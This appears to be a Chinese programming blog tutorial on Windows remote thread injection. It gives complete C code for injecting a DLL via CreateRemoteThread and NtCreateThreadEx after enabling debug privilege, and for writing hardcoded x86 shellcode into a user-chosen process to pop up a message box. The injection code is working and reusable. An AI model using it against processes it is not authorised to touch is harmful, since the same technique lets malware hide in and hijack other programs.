远程线程注入

2022/4/5 23:19:52

本文主要是介绍远程线程注入,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

在这里,我们使用两个方法,第一个是CreateRemoteThread方法,第二个是NtCreateThreadEx方法。通过查看源码可以发现CreaeteRemoteThread函数实现中调用了NtCreateThread函数的。

代码的最后,还给出用远程线程函数去启动一个ShellCode硬编码的线程函数 ,实现注入并弹出对话框。

 

一.使用CreateRemoteThread方法

一、启动远程线程去执行LoadLibrary(在目标进程家得到的函数的绝对地址/或者直接用当前进程的LoadLibrary的地址也可以)去执行在目标进程中已经写入的文件粒度对齐的DLL

#include "Ring3导入表Hook.h"

void _tmain(int argc, TCHAR *argv[], TCHAR *envp[])
{
    //获得目标进程句柄
    _tsetlocale(LC_ALL,_T("Chinese-simplified"));
    TCHAR v1[MAX_PATH] = { 0 };
    HANDLE ProcessHandle = NULL;
    _stscanf(argv[0], _T("%p"), &ProcessHandle);    //通过命令行接收父进程传递的目标进程的ProcessHandle

    //提权
    if (SunEnableSeDebugPrivilege(_T("SeDebugPrivilege"), TRUE) == FALSE)
    {
        return;
    }
    //获得动态库的完整路径
        //获得当前.exe文件的位置
    GetCurrentDirectory(MAX_PATH, v1);
    //通过目标进程的完整路径进行数据的读取

#ifdef _WIN64
    _tcscat_s(v1, _T("\\x64\\Dll.dll"));
#else
    _tcscat_s(v1, _T("\\x86\\Dll.dll"));
#endif

    //将该Dll注入到目标进程中(远程线程注入)
    SunInjectionByRemoteThread(v1, ProcessHandle);

    
    if (SunEnableSeDebugPrivilege(_T("SeDebugPrivilege"), FALSE) == FALSE)
    {
        return;
    }
    _tprintf(_T("Input AnyKey To Exit\r\n"));
    _gettchar();
}
//提权
BOOL SunEnableSeDebugPrivilege(IN const TCHAR*  PriviledgeName, BOOL IsEnable)
{
    // 打开权限令牌
    HANDLE  ProcessHandle = GetCurrentProcess();
    HANDLE  TokenHandle = NULL;
    TOKEN_PRIVILEGES TokenPrivileges = { 0 };
    if (!OpenProcessToken(ProcessHandle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle))
    {
        return FALSE;
    }
    LUID             v1;
    if (!LookupPrivilegeValue(NULL, PriviledgeName, &v1))
    {
        CloseHandle(TokenHandle);
        TokenHandle = NULL;
        return FALSE;
    }

    TokenPrivileges.PrivilegeCount = 1;
    TokenPrivileges.Privileges[0].Attributes = IsEnable == TRUE ? SE_PRIVILEGE_ENABLED : 0;
    TokenPrivileges.Privileges[0].Luid = v1;


    if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges,
        sizeof(TOKEN_PRIVILEGES), NULL, NULL))
    {
        _tprintf(_T("LastError:%d\r\n"), GetLastError());
        CloseHandle(TokenHandle);
        TokenHandle = NULL;
        return FALSE;
    }
    CloseHandle(TokenHandle);
    TokenHandle = NULL;
    return TRUE;
}
// 向目标进程写入DLL,并获得目标进程的Loadlibrary的函数地址,启动CreateRemoteThread去执行Loadlibrary加载DLL
BOOL SunInjectionByRemoteThread(TCHAR* DllFullPath, HANDLE ProcessHandle)
{

    ULONG32 DllFullPathLength = 0;
    PVOID   VirtualAddress = NULL;

    //在目标进程空间中申请内存
    DllFullPathLength = (_tcslen(DllFullPath) + 1) * sizeof(TCHAR);

    //目标进程空间中申请内存
    VirtualAddress = VirtualAllocEx(ProcessHandle, NULL, DllFullPathLength, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (VirtualAddress == NULL)
    {

        int LastError = GetLastError();
        _tprintf(_T("LastError:%d\r\n", LastError));
        _tprintf(_T("VirtualAllocEx() Error\r\n"));

        return FALSE;
    }

    //写入数据到目标进程空间
    if (WriteProcessMemory(ProcessHandle, VirtualAddress, DllFullPath,
        DllFullPathLength, NULL) == FALSE)
    {
        int LastError = GetLastError();
        VirtualFreeEx(ProcessHandle, VirtualAddress, DllFullPathLength, MEM_RELEASE);
        _tprintf(_T("WriteProcessMemory() Error\r\n"));

        return FALSE;
    }

    PVOID LoadLibrary = NULL;
//得到导出函数Function(LoadLibrary)在目标进程下的绝对地址
#ifdef _UNICODE
    LoadLibrary = (PVOID)SeGetProcAddressExW(ProcessHandle, L"Kernel32.dll", "LoadLibraryW");    //得到当前进程LoadLibraryW函数地址
#else 
    LoadLibrary = (PVOID)SeGetProcAddressExA(ProcessHandle, "Kernel32.dll", "LoadLibraryA");

#endif

    // CreateRemoteThread --->让目标进程创建线程,去执行LoadLibrary(目标进程家的函数地址)加载目标进程中已经写入了文件粒度的DLL 
    // VirtualAddress是注入的DLL的地址
    HANDLE ThreadHandle = CreateRemoteThread(ProcessHandle,
        NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibrary,
        VirtualAddress, 0, NULL);
    if (ThreadHandle == NULL)
    {
        _tprintf(_T("CreateRemoteThread() Error\r\n"));
        VirtualFreeEx(ProcessHandle, VirtualAddress, DllFullPathLength, MEM_RELEASE);

        return FALSE;
    }

    // 等待远程线程结束
    WaitForSingleObject(ThreadHandle, INFINITE);


    if (VirtualAddress!=NULL)
    {
        VirtualFreeEx(ProcessHandle, VirtualAddress, DllFullPathLength, MEM_RELEASE);
    }
    // 清理

    if (ProcessHandle!=NULL)
    {
        CloseHandle(ProcessHandle);
    }

    return T RUE;
}
//得到导出函数Function(LoadLibrary)在目标进程下的绝对地址
ULONG_PTR SunGetProcAddressExA(HANDLE ProcessHandle, const char* ModuleName, const char* FunctionName)
{
    WCHAR v1[MAX_PATH] = { 0 };
    if (MultiByteToWideChar(CP_ACP, NULL, ModuleName, -1, v1, _countof(v1)))
    {
        return SeGetProcAddressExW(ProcessHandle, v1, FunctionName);
    }
    else
    {
        return 0;
    }
}
//得到导出函数Function(LoadLibrary)在目标进程下的绝对地址
ULONG_PTR SunGetProcAddressExW(HANDLE ProcessHandle, const wchar_t* ModuleName, const char* FunctionName)
{
    if (!ProcessHandle) //no process specified
    {

        ProcessHandle = GetCurrentProcess();

    }
    //枚举目标进程的模块信息(ProcessHandle传的是目标进程的句柄)
    DWORD ReturnLength = 0;
    if (EnumProcessModules(ProcessHandle, 0, 0, &ReturnLength))    //预读,返回长度
    {
        HMODULE* ModulesHandle = (HMODULE*)malloc(ReturnLength * sizeof(HMODULE));    //申请内存
        if (EnumProcessModules(ProcessHandle, ModulesHandle, ReturnLength, &ReturnLength))    //枚举模块信息,基地址返回到ModulesHandle
        {
            for (unsigned int i = 0; i < ReturnLength / sizeof(HMODULE); i++)
            {
                wchar_t ModuleFullPath[MAX_PATH] = L"";
                //获得模块完整路径
                if (GetModuleFileNameExW(ProcessHandle, ModulesHandle[i], ModuleFullPath, _countof(ModuleFullPath)))
                {
                    wchar_t* v1 = wcsrchr(ModuleFullPath, L'\\');    //阶段完整路径,得到模块名字
                    if (v1)
                    {
                        v1++;
                        //此时我们ModuleName传参是Kernel32.dll
                        if (!_wcsicmp(v1, ModuleName))        //找到了我们要的模块
                        {
                            //获得当前进程下模块基地址
                            HMODULE ModuleBase =
                                LoadLibraryExW(ModuleFullPath, 0, DONT_RESOLVE_DLL_REFERENCES | LOAD_LIBRARY_AS_DATAFILE);
                            if (ModuleBase)
                            {
                                //获得目标函数(LoadLibrary)在当前进程下的地址
                                ULONG_PTR FunctionAddress = (ULONG_PTR)GetProcAddress(ModuleBase, FunctionName);    

                                if (FunctionAddress)
                                {
                                    FunctionAddress -= (ULONG_PTR)ModuleBase; //rva 计算Function的相对地址
                                    FreeLibrary(ModuleBase);
                                    return FunctionAddress + (ULONG_PTR)ModulesHandle[i]; 
                                    //va    返回Function(LoadLibrary)在目标进程下的绝对地址
                                }
                            }
                            break;
                        }
                    }
                }
            }
        }
        free(ModulesHandle);
    }
    return 0;
}

 

二、使用NtCreateThreadEx方法

区别在于NtCreateThreadEx是未导出的Nt系列的函数,其实并没有技术的升级,而是进行了创建远程线程函数的升级,通过查看源码可以发现CreaeteRemoteThread函数实现中调用了NtCreateThread函数的。

void Nt创建线程扩展()
{
    TCHAR ImageName[MAX_PATH] = { 0 };
    HANDLE ProcessHandle = NULL;
    HANDLE ThreadHandle = NULL;
    LPVOID VirtualAddress = NULL;
    HANDLE ProcessIdentify = INVALID_HANDLE_VALUE;
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
    LPFN_NTCREATETHREADEX NtCreateThreadEx = NULL;

    // 输入目标进程名称
    SunInputImageName(ImageName);

    {
        GetCurrentDirectory(MAX_PATH, __DllFullPath);
        _tcscat_s(__DllFullPath, _T("\\Dll.dll"));
    }
    //__DllFullPath = 0x00007ff641b8a560 L"Z:\\X-Project\\X-Project\\Dll.dll"

    // 枚举进程,找到目标进程的ID
    if (SunGetProcessIdentifyByImageName(ImageName, &ProcessIdentify) == FALSE)
    {
        goto Exit;
    }

    // 当前exe模块中没有该函数导入
    NtCreateThreadEx = (LPFN_NTCREATETHREADEX)GetProcAddress(GetModuleHandle(_T("NTDLL.DLL")),
        "NtCreateThreadEx");

    if (NtCreateThreadEx == NULL)
    {
        goto Exit;
    }

    // 通过进程ID获取进程句柄
    ProcessHandle = SunOpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessIdentify);

    if (ProcessHandle == NULL)
    {
        goto Exit;
    }


    SIZE_T DllFullPathLength = 0;
    // 在目标进程空间中申请内存
    DllFullPathLength = (_tcslen(__DllFullPath) + 1) * sizeof(TCHAR);

    // 目标进程空间中申请内存
    VirtualAddress = VirtualAllocEx(ProcessHandle, NULL, DllFullPathLength, MEM_COMMIT, PAGE_READWRITE);
    if (VirtualAddress != NULL)
    {
        // 将DLL写入到目标进程中
        if (!SunProcessMemoryWriteSafe(ProcessHandle, VirtualAddress, __DllFullPath, DllFullPathLength, NULL))
        {
            goto Exit;
        }

        // 在目标进程中启动线程
        Status = NtCreateThreadEx(&ThreadHandle,
            THREAD_ALL_ACCESS, NULL, ProcessHandle, (LPTHREAD_START_ROUTINE)LoadLibrary, VirtualAddress,
            FALSE, NULL, NULL, NULL, NULL);
        if (!NT_SUCCESS(Status))
        {
            goto Exit;
        }

    }
    WaitForSingleObject(ThreadHandle, INFINITE);
Exit:
    if (VirtualAddress != NULL)
    {
        VirtualFreeEx(ProcessHandle, VirtualAddress, sizeof(__ShellCode), MEM_RELEASE);
        VirtualAddress = NULL;
    }

    if (ThreadHandle != NULL)
    {
        SunCloseHandle(ThreadHandle);
        ThreadHandle = NULL;
    }

    if (ProcessHandle != NULL)
    {
        SunCloseHandle(ProcessHandle);
        ProcessHandle = NULL;
    }
}

 

三、

我们还可以用远程线程函数做一些其他的事情
如去启动一个ShellCode硬编码的线程函数 

这里我们使用ShellCode去注入,弹出一个对话框。

#include "stdafx.h"
#include <Windows.h>

#define TOUPPER(x) ((((x)>='a')&&((x)<='z'))?((x)-32):(x))
#define TOLOWER(x) ((((x)>='A')&&((x)<='Z'))?((x)+32):(x))

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _PEB_LDR_DATA
{
    DWORD Length;
    bool Initialized;
    PVOID SsHandle;    
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA,*PPEB_LDR_DATA;

typedef struct _LDR_DATA_TABLE_ENTRY
{
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID DllBase;
    PVOID EntryPoint;
    UINT32 SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    UINT32 Flags;
    USHORT LoadCount;
    USHORT TlsIndex;
    LIST_ENTRY HashLinks;
    PVOID SectionPointer;
    UINT32 CheckSum;
    UINT32 TimeDateStamp;
    PVOID LoadedImports;
    PVOID EntryPointActivationContext;
    PVOID PatchInformation;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

typedef HMODULE (WINAPI * PLOADLIBRARYA)(LPCSTR);
typedef DWORD (WINAPI * PGETPROCADDRESS)(HMODULE, LPCSTR);
typedef DWORD (WINAPI * PMESSAGEBOXA)(HWND, LPCSTR,LPCSTR,UINT);

DWORD WINAPI ShellCode(PVOID lpThreadParameter);

void PrintHexArray(PVOID startAddr, size_t nBytes);

unsigned char ShellCodebuff[] = {
    0x55, 0x8B, 0xEC, 0x81, 0xEC, 0x0C, 0x01, 0x00, 0x00, 0x53, 0x56, 0x57, 0xC7, 0x45, 0xFC, 0x00,
    0x00, 0x00, 0x00, 0xC7, 0x45, 0xF8, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xF4, 0x00, 0x00, 0x00,
    0x00, 0xC7, 0x45, 0xF0, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xEC, 0x00, 0x00, 0x00, 0x00, 0xC7,
    0x45, 0xE8, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xDC, 0x00, 0x00, 0x00, 0x00, 0xC6, 0x45, 0xC0,
    0x6B, 0xC6, 0x45, 0xC1, 0x00, 0xC6, 0x45, 0xC2, 0x65, 0xC6, 0x45, 0xC3, 0x00, 0xC6, 0x45, 0xC4,
    0x72, 0xC6, 0x45, 0xC5, 0x00, 0xC6, 0x45, 0xC6, 0x6E, 0xC6, 0x45, 0xC7, 0x00, 0xC6, 0x45, 0xC8,
    0x65, 0xC6, 0x45, 0xC9, 0x00, 0xC6, 0x45, 0xCA, 0x6C, 0xC6, 0x45, 0xCB, 0x00, 0xC6, 0x45, 0xCC,
    0x33, 0xC6, 0x45, 0xCD, 0x00, 0xC6, 0x45, 0xCE, 0x32, 0xC6, 0x45, 0xCF, 0x00, 0xC6, 0x45, 0xD0,
    0x2E, 0xC6, 0x45, 0xD1, 0x00, 0xC6, 0x45, 0xD2, 0x64, 0xC6, 0x45, 0xD3, 0x00, 0xC6, 0x45, 0xD4,
    0x6C, 0xC6, 0x45, 0xD5, 0x00, 0xC6, 0x45, 0xD6, 0x6C, 0xC6, 0x45, 0xD7, 0x00, 0xC6, 0x45, 0xD8,
    0x00, 0xC6, 0x45, 0xD9, 0x00, 0xC6, 0x45, 0xB4, 0x75, 0xC6, 0x45, 0xB5, 0x73, 0xC6, 0x45, 0xB6,
    0x65, 0xC6, 0x45, 0xB7, 0x72, 0xC6, 0x45, 0xB8, 0x33, 0xC6, 0x45, 0xB9, 0x32, 0xC6, 0x45, 0xBA,
    0x2E, 0xC6, 0x45, 0xBB, 0x64, 0xC6, 0x45, 0xBC, 0x6C, 0xC6, 0x45, 0xBD, 0x6C, 0xC6, 0x45, 0xBE,
    0x00, 0xC6, 0x45, 0xA4, 0x47, 0xC6, 0x45, 0xA5, 0x65, 0xC6, 0x45, 0xA6, 0x74, 0xC6, 0x45, 0xA7,
    0x50, 0xC6, 0x45, 0xA8, 0x72, 0xC6, 0x45, 0xA9, 0x6F, 0xC6, 0x45, 0xAA, 0x63, 0xC6, 0x45, 0xAB,
    0x41, 0xC6, 0x45, 0xAC, 0x64, 0xC6, 0x45, 0xAD, 0x64, 0xC6, 0x45, 0xAE, 0x72, 0xC6, 0x45, 0xAF,
    0x65, 0xC6, 0x45, 0xB0, 0x73, 0xC6, 0x45, 0xB1, 0x73, 0xC6, 0x45, 0xB2, 0x00, 0xC6, 0x45, 0x94,
    0x4C, 0xC6, 0x45, 0x95, 0x6F, 0xC6, 0x45, 0x96, 0x61, 0xC6, 0x45, 0x97, 0x64, 0xC6, 0x45, 0x98,
    0x4C, 0xC6, 0x45, 0x99, 0x69, 0xC6, 0x45, 0x9A, 0x62, 0xC6, 0x45, 0x9B, 0x72, 0xC6, 0x45, 0x9C,
    0x61, 0xC6, 0x45, 0x9D, 0x72, 0xC6, 0x45, 0x9E, 0x79, 0xC6, 0x45, 0x9F, 0x41, 0xC6, 0x45, 0xA0,
    0x00, 0xC6, 0x45, 0x88, 0x4D, 0xC6, 0x45, 0x89, 0x65, 0xC6, 0x45, 0x8A, 0x73, 0xC6, 0x45, 0x8B,
    0x73, 0xC6, 0x45, 0x8C, 0x61, 0xC6, 0x45, 0x8D, 0x67, 0xC6, 0x45, 0x8E, 0x65, 0xC6, 0x45, 0x8F,
    0x42, 0xC6, 0x45, 0x90, 0x6F, 0xC6, 0x45, 0x91, 0x78, 0xC6, 0x45, 0x92, 0x41, 0xC6, 0x45, 0x93,
    0x00, 0xC6, 0x85, 0x78, 0xFF, 0xFF, 0xFF, 0x48, 0xC6, 0x85, 0x79, 0xFF, 0xFF, 0xFF, 0x65, 0xC6,
    0x85, 0x7A, 0xFF, 0xFF, 0xFF, 0x6C, 0xC6, 0x85, 0x7B, 0xFF, 0xFF, 0xFF, 0x6C, 0xC6, 0x85, 0x7C,
    0xFF, 0xFF, 0xFF, 0x6F, 0xC6, 0x85, 0x7D, 0xFF, 0xFF, 0xFF, 0x53, 0xC6, 0x85, 0x7E, 0xFF, 0xFF,
    0xFF, 0x68, 0xC6, 0x85, 0x7F, 0xFF, 0xFF, 0xFF, 0x65, 0xC6, 0x45, 0x80, 0x6C, 0xC6, 0x45, 0x81,
    0x6C, 0xC6, 0x45, 0x82, 0x43, 0xC6, 0x45, 0x83, 0x6F, 0xC6, 0x45, 0x84, 0x64, 0xC6, 0x45, 0x85,
    0x65, 0xC6, 0x45, 0x86, 0x00, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x89, 0x45,
    0xE8, 0x8B, 0x45, 0xE8, 0x83, 0xC0, 0x0C, 0x89, 0x45, 0xE4, 0x8B, 0x45, 0xE4, 0x8B, 0x08, 0x89,
    0x4D, 0xE0, 0x8B, 0x45, 0xE0, 0x89, 0x85, 0x74, 0xFF, 0xFF, 0xFF, 0x8D, 0x45, 0xC0, 0x89, 0x85,
    0x70, 0xFF, 0xFF, 0xFF, 0x8B, 0x45, 0xE0, 0x8B, 0x48, 0x30, 0x89, 0x8D, 0x6C, 0xFF, 0xFF, 0xFF,
    0xC7, 0x45, 0xDC, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x84,
    0xD7, 0x00, 0x00, 0x00, 0x8B, 0x85, 0x70, 0xFF, 0xFF, 0xFF, 0x0F, 0xB7, 0x08, 0x85, 0xC9, 0x75,
    0x19, 0x8B, 0x85, 0x6C, 0xFF, 0xFF, 0xFF, 0x0F, 0xB7, 0x08, 0x85, 0xC9, 0x75, 0x0C, 0xC7, 0x45,
    0xDC, 0x01, 0x00, 0x00, 0x00, 0xE9, 0xB1, 0x00, 0x00, 0x00, 0x8B, 0x85, 0x70, 0xFF, 0xFF, 0xFF,
    0x0F, 0xBE, 0x08, 0x83, 0xF9, 0x61, 0x7C, 0x22, 0x8B, 0x95, 0x70, 0xFF, 0xFF, 0xFF, 0x0F, 0xBE,
    0x02, 0x83, 0xF8, 0x7A, 0x7F, 0x14, 0x8B, 0x8D, 0x70, 0xFF, 0xFF, 0xFF, 0x0F, 0xBE, 0x11, 0x83,
    0xEA, 0x20, 0x89, 0x95, 0xF8, 0xFE, 0xFF, 0xFF, 0xEB, 0x0F, 0x8B, 0x85, 0x70, 0xFF, 0xFF, 0xFF,
    0x0F, 0xBE, 0x08, 0x89, 0x8D, 0xF8, 0xFE, 0xFF, 0xFF, 0x8B, 0x95, 0x6C, 0xFF, 0xFF, 0xFF, 0x0F,
    0xBE, 0x02, 0x83, 0xF8, 0x61, 0x7C, 0x22, 0x8B, 0x8D, 0x6C, 0xFF, 0xFF, 0xFF, 0x0F, 0xBE, 0x11,
    0x83, 0xFA, 0x7A, 0x7F, 0x14, 0x8B, 0x85, 0x6C, 0xFF, 0xFF, 0xFF, 0x0F, 0xBE, 0x08, 0x83, 0xE9,
    0x20, 0x89, 0x8D, 0xF4, 0xFE, 0xFF, 0xFF, 0xEB, 0x0F, 0x8B, 0x95, 0x6C, 0xFF, 0xFF, 0xFF, 0x0F,
    0xBE, 0x02, 0x89, 0x85, 0xF4, 0xFE, 0xFF, 0xFF, 0x8B, 0x8D, 0xF8, 0xFE, 0xFF, 0xFF, 0x3B, 0x8D,
    0xF4, 0xFE, 0xFF, 0xFF, 0x74, 0x02, 0xEB, 0x23, 0x8B, 0x85, 0x70, 0xFF, 0xFF, 0xFF, 0x83, 0xC0,
    0x02, 0x89, 0x85, 0x70, 0xFF, 0xFF, 0xFF, 0x8B, 0x85, 0x6C, 0xFF, 0xFF, 0xFF, 0x83, 0xC0, 0x02,
    0x89, 0x85, 0x6C, 0xFF, 0xFF, 0xFF, 0xE9, 0x1C, 0xFF, 0xFF, 0xFF, 0x83, 0x7D, 0xDC, 0x00, 0x74,
    0x0B, 0x8B, 0x45, 0xE0, 0x8B, 0x48, 0x18, 0x89, 0x4D, 0xFC, 0xEB, 0x14, 0x8B, 0x45, 0xE0, 0x8B,
    0x08, 0x89, 0x4D, 0xE0, 0x8B, 0x45, 0xE4, 0x3B, 0x45, 0xE0, 0x0F, 0x85, 0xD2, 0xFE, 0xFF, 0xFF,
    0x83, 0x7D, 0xFC, 0x00, 0x0F, 0x84, 0x92, 0x01, 0x00, 0x00, 0x8B, 0x45, 0xFC, 0x89, 0x85, 0x68,
    0xFF, 0xFF, 0xFF, 0x8B, 0x85, 0x68, 0xFF, 0xFF, 0xFF, 0x8B, 0x8D, 0x68, 0xFF, 0xFF, 0xFF, 0x03,
    0x48, 0x3C, 0x89, 0x8D, 0x64, 0xFF, 0xFF, 0xFF, 0x8B, 0x85, 0x68, 0xFF, 0xFF, 0xFF, 0x8B, 0x48,
    0x3C, 0x8B, 0x95, 0x68, 0xFF, 0xFF, 0xFF, 0x8D, 0x44, 0x0A, 0x04, 0x89, 0x85, 0x60, 0xFF, 0xFF,
    0xFF, 0x8B, 0x85, 0x60, 0xFF, 0xFF, 0xFF, 0x83, 0xC0, 0x14, 0x89, 0x85, 0x5C, 0xFF, 0xFF, 0xFF,
    0x8B, 0x85, 0x60, 0xFF, 0xFF, 0xFF, 0x0F, 0xB7, 0x48, 0x10, 0x03, 0x8D, 0x5C, 0xFF, 0xFF, 0xFF,
    0x89, 0x8D, 0x58, 0xFF, 0xFF, 0xFF, 0x8B, 0x85, 0x5C, 0xFF, 0xFF, 0xFF, 0x8B, 0x4D, 0xFC, 0x03,
    0x48, 0x60, 0x89, 0x8D, 0x54, 0xFF, 0xFF, 0xFF, 0x8B, 0x85, 0x54, 0xFF, 0xFF, 0xFF, 0x8B, 0x4D,
    0xFC, 0x03, 0x48, 0x1C, 0x89, 0x8D, 0x50, 0xFF, 0xFF, 0xFF, 0x8B, 0x85, 0x54, 0xFF, 0xFF, 0xFF,
    0x8B, 0x4D, 0xFC, 0x03, 0x48, 0x20, 0x89, 0x8D, 0x4C, 0xFF, 0xFF, 0xFF, 0x8B, 0x85, 0x54, 0xFF,
    0xFF, 0xFF, 0x8B, 0x4D, 0xFC, 0x03, 0x48, 0x24, 0x89, 0x8D, 0x48, 0xFF, 0xFF, 0xFF, 0xC7, 0x85,
    0x44, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0F, 0x8B, 0x85, 0x44, 0xFF, 0xFF, 0xFF,
    0x83, 0xC0, 0x01, 0x89, 0x85, 0x44, 0xFF, 0xFF, 0xFF, 0x8B, 0x85, 0x54, 0xFF, 0xFF, 0xFF, 0x8B,
    0x8D, 0x44, 0xFF, 0xFF, 0xFF, 0x3B, 0x48, 0x18, 0x0F, 0x8D, 0xBC, 0x00, 0x00, 0x00, 0x8D, 0x45,
    0xA4, 0x89, 0x85, 0x40, 0xFF, 0xFF, 0xFF, 0x8B, 0x85, 0x44, 0xFF, 0xFF, 0xFF, 0x8B, 0x8D, 0x4C,
    0xFF, 0xFF, 0xFF, 0x8B, 0x55, 0xFC, 0x03, 0x14, 0x81, 0x89, 0x95, 0x3C, 0xFF, 0xFF, 0xFF, 0xC7,
    0x45, 0xDC, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x5B, 0x8B,
    0x85, 0x40, 0xFF, 0xFF, 0xFF, 0x0F, 0xBE, 0x08, 0x85, 0xC9, 0x75, 0x16, 0x8B, 0x85, 0x3C, 0xFF,
    0xFF, 0xFF, 0x0F, 0xBE, 0x08, 0x85, 0xC9, 0x75, 0x09, 0xC7, 0x45, 0xDC, 0x01, 0x00, 0x00, 0x00,
    0xEB, 0x38, 0x8B, 0x85, 0x40, 0xFF, 0xFF, 0xFF, 0x0F, 0xBE, 0x08, 0x8B, 0x95, 0x3C, 0xFF, 0xFF,
    0xFF, 0x0F, 0xBE, 0x02, 0x3B, 0xC8, 0x74, 0x02, 0xEB, 0x20, 0x8B, 0x85, 0x40, 0xFF, 0xFF, 0xFF,
    0x83, 0xC0, 0x01, 0x89, 0x85, 0x40, 0xFF, 0xFF, 0xFF, 0x8B, 0x85, 0x3C, 0xFF, 0xFF, 0xFF, 0x83,
    0xC0, 0x01, 0x89, 0x85, 0x3C, 0xFF, 0xFF, 0xFF, 0xEB, 0x9C, 0x83, 0x7D, 0xDC, 0x00, 0x74, 0x25,
    0x8B, 0x85, 0x44, 0xFF, 0xFF, 0xFF, 0x8B, 0x8D, 0x48, 0xFF, 0xFF, 0xFF, 0x0F, 0xB7, 0x14, 0x41,
    0x8B, 0x85, 0x50, 0xFF, 0xFF, 0xFF, 0x8B, 0x0C, 0x90, 0x8B, 0x95, 0x5C, 0xFF, 0xFF, 0xFF, 0x03,
    0x4A, 0x1C, 0x89, 0x4D, 0xF4, 0xE9, 0x20, 0xFF, 0xFF, 0xFF, 0xEB, 0x07, 0xB8, 0x01, 0x00, 0x00,
    0x00, 0xEB, 0x38, 0x8D, 0x45, 0x94, 0x50, 0x8B, 0x4D, 0xFC, 0x51, 0xFF, 0x55, 0xF4, 0x89, 0x45,
    0xF0, 0x8D, 0x45, 0xB4, 0x50, 0xFF, 0x55, 0xF0, 0x89, 0x45, 0xF8, 0x8D, 0x45, 0x88, 0x50, 0x8B,
    0x4D, 0xF8, 0x51, 0xFF, 0x55, 0xF4, 0x89, 0x45, 0xEC, 0x6A, 0x00, 0x6A, 0x00, 0x8D, 0x85, 0x78,
    0xFF, 0xFF, 0xFF, 0x50, 0x6A, 0x00, 0xFF, 0x55, 0xEC, 0x33, 0xC0, 0x5F, 0x5E, 0x5B, 0x8B, 0xE5,
    0x5D, 0xC2, 0x04, 0x00}; // 0x4F4

// 提权函数:提升为DEBUG权限
BOOL EnableDebugPrivilege()
{
    HANDLE hToken;
    BOOL fOk=FALSE;
    if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
    {
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount=1;
        LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
        
        tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
        
        fOk=(GetLastError()==ERROR_SUCCESS);
        CloseHandle(hToken);
    }
    return fOk;
}


int main(int argc, char* argv[])
{
    //CreateThread(0,0,ShellCode,0,0,0);
    // 打印shellcode
    //printf("输入ShellCode的地址: ");
    //DWORD dwAddr;
    //scanf("%x",&dwAddr);
    //getchar();
    //PrintHexArray((PVOID)dwAddr, 0x4F4);

    //DWORD dwOldProtect;
    //VirtualProtect(ShellCodebuff,0x1000,PAGE_EXECUTE_READWRITE,&dwOldProtect);
    //CreateThread(0,0,(LPTHREAD_START_ROUTINE)&ShellCodebuff,0,0,0);

    EnableDebugPrivilege();
    DWORD dwWritten;
    DWORD pid;
    printf("请输入要注入的进程PID: ");
    scanf("%d", &pid);
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
    PVOID pAddr = VirtualAllocEx(hProcess,0,0x1000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);    //在目标进程的内存空间中申请一块内存
    WriteProcessMemory(hProcess,pAddr,ShellCodebuff,0x4F4,&dwWritten);    //将ShellCode的硬编码写进去
    CreateRemoteThread(hProcess,0,0,(LPTHREAD_START_ROUTINE)pAddr,0,0,0);        //启动远程线程去执行ShellCode

    
    getchar();
    return 0;
}

//这个函数就是我们上面写的硬编码,在这里再次写出是为了对照,并没有调用
DWORD WINAPI ShellCode(PVOID lpThreadParameter)
{
    HMODULE hKernel32 = NULL;
    HMODULE hUser32 = NULL;
    PGETPROCADDRESS pGetProcAddress = NULL;
    PLOADLIBRARYA pLoadLibraryA = NULL;
    PMESSAGEBOXA pMessageBoxA = NULL;
    PPEB_LDR_DATA pLDR = NULL;
    PLDR_DATA_TABLE_ENTRY pLdteHead;
    PLDR_DATA_TABLE_ENTRY pLdteCur;
    BOOL bEqual = FALSE;

    char szKernel32[] = {'k',0,'e',0,'r',0,'n',0,'e',0,'l',0,'3',0,'2',0,'.',0,'d',0,'l',0,'l',0,0,0}; // Unicode
    char szUser32[] = {'u','s','e','r','3','2','.','d','l','l',0};
    char szGetProcAddress[] = {'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0};
    char szLoadLibrary[] = {'L','o','a','d','L','i','b','r','a','r','y','A',0};
    char szMessageBoxA[] = {'M','e','s','s','a','g','e','B','o','x','A',0};
    char szHelloShellCode[] = {'H','e','l','l','o','S','h','e','l','l','C','o','d','e',0};
    __asm
    {
        mov eax,fs:[0x30] // PEB
        mov eax,[eax+0x0C] // PEB->LDR
        mov pLDR,eax
    }
    
    // PEB的Ldr查询模块,找到kernel32.dll基地址(在目标进程家的)
    // find kernel32.dll
